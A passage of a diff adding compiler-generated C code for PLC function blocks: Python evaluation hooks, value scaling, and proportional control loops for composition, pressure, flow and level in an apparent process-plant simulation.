__SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + 